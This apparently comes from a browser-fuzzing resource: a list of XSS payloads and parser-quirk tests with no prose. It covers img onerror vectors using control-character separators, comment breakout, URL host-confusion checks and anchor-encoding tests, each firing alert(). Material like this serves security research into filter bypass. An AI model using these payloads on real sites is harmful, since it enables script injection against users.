Cheat Sheet

<img0x09src=x0x09onerror=alert(9)>

<img
src=x
onerror=alert(10)>

<img0x0Csrc=x0x0Conerror=alert(12)>

<img0x0Dsrc=x0x0Donerror=alert(13)>

<img src=x onerror=alert(32)>

<input  id="test" value="s0x00onload="alert(1)" />

if (['https:'].includes("\https:")){0x0D
    alert(92)0x0D
}

<div><img/src/onerror=alert(1)></div>

<img src=x><img/src/onerror=alert(1)>

<img src=0x09x0x09onerror=alert(9)>

<img src=
x
onerror=alert(10)>

<img src=0x0Cx0x0Conerror=alert(12)>

<img src=0x0Dx0x0Donerror=alert(13)>

<img src= x onerror=alert(32)>

<!----!>><img/src/onerror=alert(1)>

if (new URL("https://0x09localhost/endpoint").host == "localhost") {0x0D
    alert(9);0x0D
}

if (new URL("https:///localhost/endpoint").host == "localhost") {0x0D
    alert(47);0x0D
}

if (new URL("https://@localhost/endpoint").host == "localhost") {0x0D
    alert(64);0x0D
}

if (new URL("https://\localhost/endpoint").host == "localhost") {0x0D
    alert(92);0x0D
}

if (new URL("https://­localhost/endpoint").host == "localhost") {0x0D
    alert(173);0x0D
}

<img src0x09=data:text/plain, id="testImg">

<img src
=data:text/plain, id="testImg">

<img src0x0C=data:text/plain, id="testImg">

<img src0x0D=data:text/plain, id="testImg">

<img src =data:text/plain, id="testImg">

<div style="color:red">test</div>

document.body.innerHTML = String.fromCodePoint(60) + "img src=x onerror=alert(60)  />";

$:alert(36)

_:alert(95)

ª:alert(170)

µ:alert(181)

0 > 0x7f && normalizationForms.forEach(form => {0x0D
    const normalized = String.fromCodePoint(0).normalize(form);0x0D
    for(let charToCheck of charsToCheck) {0x0D
       if(charToCheck === normalized) {0x0D
            alert(String.fromCodePoint(0)+"("+form+")"+"="+charToCheck);0x0D
        }0x0D
     }0x0D
})

"1337"⟦09⟧in0x09alert(9)

"1337"
in
alert(10)

"1337"0x0Bin0x0Balert(11)

"1337"0x0Cin0x0Calert(12)

"1337"0x0Din0x0Dalert(13)

s = "0";0x0D
if (typeof s["0x00__proto__"] != "undefined") {0x0D
    alert(fromCodePoint(0));0x0D
}

anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(33);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(33)

anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(36);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(36)

anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(37);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(37)

anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(38);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(38)

anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(39);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(39)

<a href="0x01//example2.com" id=x></a>

<a href="0x02//example2.com" id=x></a>

<a href="0x03//example2.com" id=x></a>

<a href="0x04//example2.com" id=x></a>

<a href="0x05//example2.com" id=x></a>

try{0x0D
   encodeURIComponent(String.fromCodePoint(55296))0x0D
} catch {0x0D
   alert(55296);0x0D
} 

try{0x0D
   encodeURIComponent(String.fromCodePoint(55297))0x0D
} catch {0x0D
   alert(55297);0x0D
} 

try{0x0D
   encodeURIComponent(String.fromCodePoint(55298))0x0D
} catch {0x0D
   alert(55298);0x0D
} 

try{0x0D
   encodeURIComponent(String.fromCodePoint(55299))0x0D
} catch {0x0D
   alert(55299);0x0D
} 

try{0x0D
   encodeURIComponent(String.fromCodePoint(55300))0x0D
} catch {0x0D
   alert(55300);0x0D
} 

anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(33);0x0D
if(!/%/.test(anchor+''))alert(33)

anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(36);0x0D
if(!/%/.test(anchor+''))alert(36)

anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(38);0x0D
if(!/%/.test(anchor+''))alert(38)

anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(40);0x0D
if(!/%/.test(anchor+''))alert(40)

anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(41);0x0D
if(!/%/.test(anchor+''))alert(41)

anchor.href='http://example.com';0x0D
anchor.protocol = 'http' + String.fromCodePoint(83) + ':';0x0D
if(!/http:/.test(anchor.protocol+''))alert(83)

anchor.href='http://example.com';0x0D
anchor.protocol = 'http' + String.fromCodePoint(115) + ':';0x0D
if(!/http:/.test(anchor.protocol+''))alert(115)